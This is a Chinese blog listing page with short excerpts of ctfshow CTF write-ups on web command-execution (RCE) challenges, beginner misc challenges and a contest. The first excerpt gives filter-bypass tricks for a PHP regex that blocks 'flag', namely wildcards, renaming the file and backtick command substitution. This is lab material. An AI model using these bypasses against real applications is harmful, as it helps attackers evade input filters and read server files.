  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(50)
  • ctfshow misc入门wp

    目录 图片篇(基础操作) misc1 misc2 misc3 misc4 图片篇(信息附加) misc5 misc6 misc7 misc8 ​misc9 misc10 misc11 misc12 ​misc13 misc14 misc15 misc16 misc17 misc18 misc19 misc20 misc21 misc22 misc23 misc41 图片篇(文件结构) misc24 misc25 misc26 misc27 misc28 misc29 misc30 ​misc31 misc32 misc33 misc34 misc35 misc36 ​misc37

    2024年02月03日
    浏览(37)
  • ctfshow愚人杯-web-wp

    鄙人不才,可惜这里只做出了4道相对简单的web题(悲) 哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来 flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi) 题目: 可以看到url里有一个img=xxx xxx为十六编码 我们试一下用index.php转换为base64: aW

    2023年04月16日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包